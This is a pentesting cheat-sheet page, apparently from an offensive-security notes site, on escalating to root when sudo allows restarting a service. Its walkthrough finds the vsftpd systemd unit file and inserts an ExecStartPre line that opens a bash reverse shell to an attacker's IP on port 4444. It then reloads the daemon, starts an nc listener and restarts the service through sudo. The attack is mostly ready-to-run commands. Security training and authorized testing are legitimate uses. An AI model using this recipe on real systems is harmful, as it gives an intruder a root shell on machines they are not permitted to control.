Privilege Escalation

Ansible Playbook Privilege Escalation

Apache Conf Privilege Escalation

Bash eq Privilege Escalation

Buffer Overflow Privilege Escalation

Chrome Remote Debugger Pentesting

Doas Privilege Escalation

FireFox Credentials Dumping

Ghidra Debug Mode RCE

Gnuplot Privilege Escalation

LXC/LXD (Linux Container/Daemon) Privilege Escalation

Linux Privilege Escalation

OpenSSL Privilege Escalation

Pip Download Code Execution

PolKit Privilege Escalation

Python Eval Code Execution

Python Jails Escape

Python Privilege Escalation

Python Yaml Privilege Escalation

Ruby Privilege Escalation

Rust Privilege Escalation

SSSD Privilege Escalation

Shared Library Hijacking

Snapd Privilege Escalation

Sudo ClamAV Privilege Escalation

Sudo Dstat Privilege Escalation

Sudo Exiftool Privilege Escalation

Sudo Fail2ban Privilege Escalation

Sudo Git Privilege Escalation

Sudo Java Privilege Escalation

Sudo OpenVPN Privilege Escalation

Sudo Path Traversal Privilege Escalation

Sudo Privilege Escalation

Sudo Privilege Escalation by Overriding Shared Library

Sudo Reboot Privilege Escalation

Sudo Screen Privilege Escalation

Sudo Service Privilege Escalation

Sudo Shutdown, Poweroff Privilege Escalation

Sudo Systemctl Privilege Escalation

Sudo Tee Privilege Escalation

Sudo Umount Privilege Escalation

Sudo Vim Privilege Escalation

Sudo Wall Privilege Escalation

Sudo Wget Privilege Escalation

Sudoedit Privilege Escalation

Tar Wildcard Injection PrivEsc

Update-Motd Privilege Escalation

irb (Interactive Ruby Shell) Privilege Escalation

Sudo Service Privilege Escalation

Last modified: 2023-02-11

The service command is vulnerable to privilege escalation if we can execute as root.

Investigation

sudo -l

(ALL : ALL) /usr/sbin/service vsftpd restart

If we can execute service command as root, we may be able to escalate to root privilege.

Exploitation

1. Find the Location of the Config File

Assume we can operate the vsftpd service as root. Firse off, find the service config file for vsftpd.

find / -name "*vsftpd*"

For instance, we'll find the location as below.

/lib/systemd/system/vsftpd.service
/etc/systemd/system/multi-user.target.wants/vsftpd.service

When getting the locations, the next thing to do is to check the permission. If we have a write permission for the above each files, we can update the execution when vsftpd started.

2. Update the Config File

Insert the payload for reverse shell to the value of the “ExecStartPre”. Doing this, we can get a shell from our listener when the FTP daemon restarted.

[Unit]
Description=vsftpd FTP server
After=network.target

[Service]
Type=simple
ExecStart=/usr/sbin/vsftpd /etc/vsftpd.conf
ExecReload=/bin/kill -HUP $MAINPID
ExecStartPre=/bin/bash -c 'bash -i >& /dev/tcp/<local-ip>/4444 0>&1'

[Install]
WantedBy=multi-user.target

Then we need to reload the daemon.

systemctl daemon-reload

3. Execution

In local machine, start listener for getting a shell.

nc -lvnp 4444

Now execute the command which can be executed with sudo.

sudo /usr/sbin/service vsftpd restart

We should get a shell as root user.

Privilege Escalation

Post Exploitation

Backup

Container

Archive

Attack

Protocol

Management

Sudo Service Privilege Escalation

Investigation

Exploitation

1. Find the Location of the Config File

2. Update the Config File

3. Execution

ON THIS PAGE